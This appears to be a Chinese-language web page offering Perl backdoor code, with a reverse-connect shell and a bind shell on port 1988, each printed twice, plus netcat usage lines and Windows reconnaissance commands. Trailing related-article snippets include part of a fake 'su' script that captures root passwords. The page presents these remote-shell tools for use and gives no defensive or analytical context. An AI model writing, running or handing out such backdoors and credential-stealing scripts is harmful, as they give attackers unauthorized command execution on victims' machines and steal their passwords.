perl后门,正向和反向!实例代码
反向连接代码：
1. #!/usr/bin/perl
2. #usage:
3. #nc -vv -l -p PORT(default 1988) on your local system first,then
4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
6. #nc -vv -l -p 1988
7. #perl backdoor.pl 127.0.0.1 1988
8.
9. #use strict;
10. use Socket;
11. use IO::Socket;
12. use Cwd;
13. use IO::Handle;
14. my $remote = $ARGV[0]|| "127.0.0.1";
15. my $remote_port = $ARGV[1]|| 1988;
16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote));
17. my $path = cwd();
18. $ARGC = @ARGV;
19. if ($ARGV[0]!~/-/)
20. {
21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: ";
22. STDOUT->autoflush(1);
23. SOCKET->autoflush(1);
24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!";
25. open STDIN,">&SOCKET";
26. open STDOUT,">&SOCKET";
27. open STDERR,">&SOCKET";
28. print "You are in $pathn";
29. print "Welcome to use.n";
30. print "console>n";
31.
32. while (<STDIN>) {
33. chomp;
34. if( lc($_) eq 'exit' ) {
35. print " Bye Bye!";
36. exit;
37. }
38. $msg=system($_);
39. if($msg){
40. print STDOUT "n$msgn";
41. print STDOUT "console>";
42. }else
43. {
44. print "console>";
45. }
46. }
47. close SOCKET;
48. exit;
49. }
正向连接代码：
1. #!/usr/bin/perl
2. #ActivePerl 5.8.8 Build 822
3. #usage:
4. #first:perl backdoor2c.pl
5. #second:nc -vv 127.0.0.1 1988
6. #net user
7. #ipconfig /all
8. #netstat -anb
9. use IO::Socket;
10. $port = "1988";
11. my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' ,
12. 'LocalPort'=>$port ,
13. 'Listen'=>1 ,
14. 'Proto'=>'tcp' ,
15. 'Reuse'=>1 );
16. die "Reason: $!" unless $socket;
17. while (my $new_socket = $socket->accept()) {
18. while (my $buffer=<$new_socket> ){
19. if ($buffer=~/exit/) {exit;}
20. $res_msg=`$buffer`;
21. print $new_socket "$res_msgncmd>";
22. }}
1. #!/usr/bin/perl
2. #usage:
3. #nc -vv -l -p PORT(default 1988) on your local system first,then
4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
6. #nc -vv -l -p 1988
7. #perl backdoor.pl 127.0.0.1 1988
8.
9. #use strict;
10. use Socket;
11. use IO::Socket;
12. use Cwd;
13. use IO::Handle;
14. my $remote = $ARGV[0]|| "127.0.0.1";
15. my $remote_port = $ARGV[1]|| 1988;
16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote));
17. my $path = cwd();
18. $ARGC = @ARGV;
19. if ($ARGV[0]!~/-/)
20. {
21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: ";
22. STDOUT->autoflush(1);
23. SOCKET->autoflush(1);
24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!";
25. open STDIN,">&SOCKET";
26. open STDOUT,">&SOCKET";
27. open STDERR,">&SOCKET";
28. print "You are in $pathn";
29. print "Welcome to use.n";
30. print "console>n";
31.
32. while (<STDIN>) {
33. chomp;
34. if( lc($_) eq 'exit' ) {
35. print " Bye Bye!";
36. exit;
37. }
38. $msg=system($_);
39. if($msg){
40. print STDOUT "n$msgn";
41. print STDOUT "console>";
42. }else
43. {
44. print "console>";
45. }
46. }
47. close SOCKET;
48. exit;
49. }
正向连接代码：
1. #!/usr/bin/perl
2. #ActivePerl 5.8.8 Build 822
3. #usage:
4. #first:perl backdoor2c.pl
5. #second:nc -vv 127.0.0.1 1988
6. #net user
7. #ipconfig /all
8. #netstat -anb
9. use IO::Socket;
10. $port = "1988";
11. my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' ,
12. 'LocalPort'=>$port ,
13. 'Listen'=>1 ,
14. 'Proto'=>'tcp' ,
15. 'Reuse'=>1 );
16. die "Reason: $!" unless $socket;
17. while (my $new_socket = $socket->accept()) {
18. while (my $buffer=<$new_socket> ){
19. if ($buffer=~/exit/) {exit;}
20. $res_msg=`$buffer`;
21. print $new_socket "$res_msgncmd>";
22. }}
Perl模块编写说明
Perl的语法相对来说有点晦涩，主要是一些内置变量和函数处理得相当精巧，而过于精致的东西理解起来就有点费力。相对于Shell，Perl在很多方面更加强
用perl写的单位电脑信息采集程序
主要用于收集ip、mac、姓名、房间，后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################usestrict;useTk;useEncode;#SOCKE
冒充su ,perl写的su.pl盗取root密码
我改了一下，把回显关了加了个延时：#!/usr/bin/perl#Writtenbyxi4oyuevil.xi4oyu@gmail.com.print"Password:";`stty-echo`;$s1=STDIN;print"n";`sttyecho`;sleep3;print"su:incorrectpasswordn"